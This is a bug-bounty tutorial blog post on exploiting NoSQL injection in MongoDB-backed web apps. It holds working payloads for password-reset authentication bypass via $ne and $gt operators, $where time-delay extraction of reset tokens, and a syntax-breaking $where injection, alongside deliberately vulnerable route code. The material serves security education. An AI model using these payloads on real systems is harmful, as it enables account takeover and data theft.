NoSQLi: A complete guide to exploiting advanced NoSQL injection vulnerabilities

BY BLACKBIRD-EU · APRIL 27, 2025 · LAST UPDATED ON MAY 15, 2025

NoSQL injections are relatively easier to exploit than classic SQL injections. However, developers often overlook these vulnerabilities, mainly due to limited awareness. Additionally, false beliefs among software engineers that NoSQL databases inherently resist injection attacks further increase the likelihood of discovering NoSQLi vulnerabilities.

In this article, we will dive deeper into identifying and exploiting advanced NoSQL injections. We will also examine several examples to better understand NoSQLi attacks.

Let's dive in!

What are NoSQL databases?

NoSQL databases are non-relational database systems designed to handle various data models and provide flexible data structures and schemas for storing, retrieving, and managing data. Unlike traditional SQL (Structured Query Language) databases that organize data in tables with rows and columns, NoSQL databases use alternative data structures.

This approach offers several benefits, from increased performance (when data is stored and structured correctly) to easy scalability and flexible storage options that adapt to the needs of any type of application.

A few examples of NoSQL databases include:

- MongoDB, a popular open-source NoSQL database supported
- Redis, an in-memory key-value store often used for caching data
- Elasticsearch, a commonly used NoSQL database for at-scale and complex search operations
- Apache CouchDB, a popular open-source NoSQL database with native REST HTTP API support
- Cloudflare KV or Amazon DynamoDB, both well-known serverless key-value storage options

What are NoSQL injection vulnerabilities?

Similar to classic SQL injections, NoSQL injections stem from direct concatenation of unsanitized user input into a database query. This can allow an attacker to break out of the context and manipulate the query to:

- Bypass authentication forms by injecting operators
- Introduce changes to existing records

- Extract potentially sensitive data and other documents
- Delete existing database records or create new data entries
- Perform denial of service attacks
- And in severe cases, even execute system commands

Let's examine the main differences between SQL and NoSQL injections, as this will help us better understand how to identify them later on.

Main differences between classic SQL injections and NoSQL injections

Traditional SQL injections involve breaking an existing SQL query and introducing a 'truthy' statement. Consider the following query example:

```
SELECT * FROM customers WHERE customer_email = 'customer@example.com' AND password = 'hunter2';
```

Suppose the request body parameter **customer_email** is vulnerable to an SQL injection in the following POST request (where the backend database is MySQL):

```
POST /customer_zone/sign_in HTTP/2.0
Host: example.com
Content-Type: application/x-www-form-urlencoded
User-Agent: ...

customer_email=customer@example.com&password=hunter2
```

We would be able to send a payload to break out of the query and sign in to any customer account without requiring a password:

```
customer_email=customer@example.com'+AND+TRUE;+--&password=anything
```

NoSQL injections require a different exploitation method since SQL (Structured Query Language) is not supported. The equivalent database query to authenticate a customer would look like this:

```
db.customers.findOne({ customer_email: 'customer@example.com', password: 'hunter2' })
```

NoSQL databases provide support for operators, such as `$gt`, which help us filter fields by looking for values **greater than** the provided value.

Returning to our example, if our input is not sanitized, we could send the following HTTP POST request and again sign in with any customer account without having to provide the password:

```
POST /customer_zone/sign_in HTTP/2.0
Host: example.com
Content-Type: application/json
User-Agent: ...

{
   "customer_email": "customer@example.com",
   "password": { "$gt": "" }
}
```

We've intentionally simplified the request in the example above to send data in JSON. Later in this article, we will explore how you can send NoSQL operators in your requests using parameter arrays instead.

Identifying NoSQL injection vulnerabilities

To identify a potential injection point, you need to break out the current syntax or inject an operator and observe any response changes, such as noticeable differences in content length, status code, or response headers.

Examine every input field and systematically inject different types of syntax-breaking characters, such as:

```
$
{
}
\
"
`
;
%00
```

It's also worth noting that numerous NoSQL databases exist, all using non-standardised syntax languages. For this reason, we recommend you first map out the database and familiarize yourself with its syntax. In the exploitation examples in the next section of this article, we will focus mainly on MongoDB.

Prefer to watch a video instead? Watch our detailed video series on identifying and exploiting NoSQL injection vulnerabilities on our channel!

Exploiting simple NoSQL injections

One way to test for and exploit NoSQL injections is to break out of the syntax and inject our own logic to manipulate a query. This can help us escalate a simple injection vulnerability into an authentication bypass.

Let's examine a simple example!

Authentication bypass via operator injection

Below is an application route that helps users reset their password using a password reset token:

```
// Application route handling password reset
app.post('/auth/reset-password', async (req, res) => {
  const { email, resetToken, newPassword } = req.body;

  try {
    const token = await db.collection('auth-tokens').findOne({
      email: email,
      resetPasswordToken: resetToken,
      resetPasswordExpires: { $gt: Date.now() }
    });

    if (!token) {
      return res.status(400).json({ message: 'Password reset token is invalid or has expired' });
    }

    // Update user's password
    await db.collection('users').updateOne({ email: email },
      { $set: {
          password: await bcrypt.hash(newPassword, 10)
      }
    });

    res.json({ message: 'Password has been reset' });
  } catch (error) {
    console.error('Error during password reset:', error);
    res.status(500).json({ message: 'Server error' });
  }
});
```

Notice how on **line ~8** our password reset token is concatenated directly into the MongoDB query. We can make use of an operator that manipulates the query to make it truthful. This would allow us to reset any user account's password without having the password reset token:

```
POST /auth/reset-password HTTP/2
Host: app.example.com
Content-Type: application/json; charset=utf-8
User-Agent: ...

{
    "email": "admin@example.com",
    "token": {"$ne": null},
    "newPassword": "hunter2"
}
```

In our payload, we used **$ne**, an operator that selects documents where the value is not equal to the specified value, in this case **null**. MongoDB supports several other operators:

- **$regex**: Selects documents where values match a specified regular expression
- **$where**: Matches documents that satisfy a JavaScript expression
- **$exists**: Matches documents that have the specified field

- `$eq` : Matches values that are equal to a specified value
- `$ne` : Matches values that are not equal to a specified value
- `$gt` : Matches values that are greater than a specified value

TIP! If your application handles all request body data in form-data, you can make use of parameter arrays instead. Some parameter parser packages provide support for parameter arrays. Example:

```
POST /auth/reset-password HTTP/2
Host: app.example.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
User-Agent: ...

email=admin@example.com&token[$ne]=null&newPassword=hunter2
```

Exploiting advanced NoSQL injections

Let's now explore some more advanced NoSQL attack vectors.

Extracting data with time delays

Similar to classic SQL injections, we can also exfiltrate data from fields by invoking a conditional time delay. Returning to our example from the password reset function that is vulnerable to a NoSQL injection, using the **$where** operator, we can inject JavaScript code that performs a time delay if our condition matches:

```
POST /auth/reset-password HTTP/2
Host: app.example.com
Content-Type: application/json; charset=utf-8
User-Agent: ...

{
  "email": "admin@example.com",
  "token": {
      "$where": "if(this.token.startsWith('a')) {sleep(5000); return true;} else {return true;}"
  },
  "password": "hunter2"
}
```

If the admin's reset token does start with 'a,' we will notice a time delay of ~5 seconds. For this to work, we would first need to trigger a password reset request. We can then craft a tool that systematically tries all combinations until it exfiltrates the entire password reset token.

Let's examine another example where JavaScript code can help us bypass authentication.

Executing server-side JavaScript code with NoSQL syntax injection

Throughout this article, we've mentioned that server-side JavaScript code execution is possible using the **$where** operator in MongoDB. Other NoSQL databases provide similar functionality to help developers create more advanced query filters.

If our unsanitised input ever lands in a **$where** clause, we can break out of the syntax and execute arbitrary JavaScript code to make changes or exfiltrate other fields. Consider the example below:

```
// Application route handling email unsubscribes
app.post('/newsletter/unsubscribe', async (req, res) => {
  const { email, unsubscribeToken } = req.body;

  try {
    const subscriber = await db.collection('subscribers').findOne({
      $where: 'this.email == ' + email + ' && this.unsubscribeToken == ' + unsubscribeToken
    });

    if (subscriber) {
      // Update the subscriber's preferences
      await db.collection('subscribers').updateOne(
        { email: email },
        { $set: { subscribed: false } }
      );

      res.json({ success: true, message: 'Successfully unsubscribed from all communication channels!' });
    } else {
      res.status(401).json({ success: false, message: 'Invalid email or token' });
    }
  } catch (error) {
    console.error('Unsubscribe error:', error);
    res.status(500).json({ success: false, message: 'Server error' });
  }
});
```

In this scenario, we could unsubscribe all email recipients by repeatedly sending the following payload, effectively reducing the company's email marketing channel effectiveness:

```
POST /newsletter/unsubscribe HTTP/2
Host: app.example.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
User-Agent: ...

email=user@example.com'+||+TRUE;//&token=
```

This is possible because the payload matches all emails and removes the requirement of a token:

```
this.email == 'user@example.com' || TRUE; // && this.unsubscribeToken ==
```

Second-order NoSQL injections

Second-order NoSQL injections are another type of NoSQL injection where unsanitised input is injected into an application and stored (for example, in a queue messaging service) without immediate execution. The execution occurs later, when the stored data is retrieved and used in a database query in an unsafe way, which can lead to NoSQL injection.

Even though these types of NoSQL injections are harder to detect, they are still worth testing for.

Conclusion

The belief that NoSQL databases are inherently immune to injection attacks is false. Lack of input validation can still cause severe impact on companies, as we've documented in this article.

So, you've just learned something new about NoSQL injection vulnerabilities... Right now, it's time to put your skills to the test! You can start by practicing on vulnerable labs or... browse through our 70+ public bug bounty programs on Intigriti and who knows, maybe earn a bounty on your next submission!

START HACKING ON INTIGRITI TODAY